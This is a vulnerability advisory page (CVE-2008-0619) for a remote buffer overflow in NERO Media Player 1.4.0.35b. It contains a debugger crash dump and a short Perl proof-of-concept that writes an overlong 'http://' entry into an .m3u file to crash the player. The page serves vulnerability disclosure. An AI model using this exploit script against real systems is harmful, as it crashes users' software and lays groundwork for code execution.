SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

NERO Media Player <= 1.4.0.35b Remote Buffer Overflow( .M3U)


Arrow  SecurityAlert : 3616
Arrow  CVE : CVE-2008-0619
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : Yes
Arrow  Exploit Given : Yes
Arrow  Credit : Securfrogn
Arrow  Published : 06.02.2008

Arrow  Affected Software : NERO Media Player <= 1.4.0.35b



Arrow  Advisory Text :  

# NERO Media Player <= 1.4.0.35b Remote Buffer Overflow( .M3U)

#

#

# This exception may be expected and handled.

# eax=03e90f40 ebx=41414141 ecx=009d01c8 edx=009d015c esi=03e90f38
edi=41414141

# eip=7c92b3fb esp=0010bff8 ebp=0010c214 iopl=0 nv up ei pl nz ac
pe nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00210212

# ntdll!wcsncat+0x387:

# 7c92b3fb 8b0b mov ecx,[ebx]
ds:0023:41414141=????????

#EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)

#ExceptionAddress: 7c92b3fb (ntdll!wcsncat+0x00000387)

# ExceptionCode: c0000005 (Access violation)

# ExceptionFlags: 00000000

#NumberParameters: 2

# Parameter[0]: 00000000

# Parameter[1]: 41414141

#Attempt to read from address 41414141

my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";

print $FILE "http://"."A" x 700;

close($FILE);

print "$file has been created n";

print "Upload it, and open it with Nero Media Playern";

print "Credits:Securfrogn";

#Btw , after the crash /*if not exploited ...*/ you wont be able to open
Nero media player , it will constantly crash .

#Regards





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.